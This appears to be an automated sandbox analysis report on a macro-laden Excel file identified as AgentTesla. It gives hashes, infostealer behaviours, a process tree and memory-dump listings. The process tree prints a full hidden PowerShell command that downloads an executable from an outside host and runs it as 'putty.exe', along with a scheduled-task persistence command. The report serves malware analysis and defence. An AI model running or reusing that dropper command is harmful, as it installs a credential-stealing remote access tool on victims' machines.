Analysis

  • max time kernel
    93s
  • max time network
    66s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    10-07-2020 07:10

General

  • Target

    PO-9103829.xlsm

  • Size

    92KB

  • MD5

    14133d71179bdf6257a18dc9808a92d5

  • SHA1

    8a74705278d267865391e10a104701eed9438fa2

  • SHA256

    15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da

  • SHA512

    f4e0c6d2921a2fa2fd0387c522e8c06161870b7c5ae7167b4e95136cdcdeb4ea14afa59e19c975fe57be1e86d4b39d3d264558e2721da4d108893787f0277b71

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://manikmeyah.net/wp-content/mu-plugins/unl.exe

Signatures

  • Suspicious use of WriteProcessMemory 20 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-9103829.xlsm
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://manikmeyah.net/wp-content/mu-plugins/unl.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Blacklisted process makes network request
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      PID:1520
      • C:\Users\Admin\AppData\Local\Temp\putty.exe
        "C:\Users\Admin\AppData\Local\Temp\putty.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Executes dropped EXE
        PID:1892
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CKDrTaW" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC38C.tmp"
          4⤵
          • Creates scheduled task(s)
          PID:1792
        • C:\Users\Admin\AppData\Local\Temp\putty.exe
          "{path}"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          PID:1560

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\putty.exe

  • C:\Users\Admin\AppData\Local\Temp\putty.exe

  • C:\Users\Admin\AppData\Local\Temp\putty.exe

  • C:\Users\Admin\AppData\Local\Temp\tmpC38C.tmp

  • \Users\Admin\AppData\Local\Temp\putty.exe

  • memory/896-3-0x0000000006510000-0x0000000006610000-memory.dmp

    Filesize

    1024KB

  • memory/896-1-0x0000000006510000-0x0000000006610000-memory.dmp

    Filesize

    1024KB

  • memory/896-2-0x0000000006510000-0x0000000006610000-memory.dmp

    Filesize

    1024KB

  • memory/1520-4-0x0000000000000000-mapping.dmp

  • memory/1560-17-0x0000000000400000-0x000000000044C000-memory.dmp

    Filesize

    304KB

  • memory/1560-16-0x0000000000400000-0x000000000044C000-memory.dmp

    Filesize

    304KB

  • memory/1560-13-0x0000000000400000-0x000000000044C000-memory.dmp

    Filesize

    304KB

  • memory/1560-14-0x0000000000446C0E-mapping.dmp

  • memory/1792-10-0x0000000000000000-mapping.dmp

  • memory/1892-9-0x0000000000000000-0x0000000000000000-disk.dmp

  • memory/1892-5-0x0000000000000000-mapping.dmp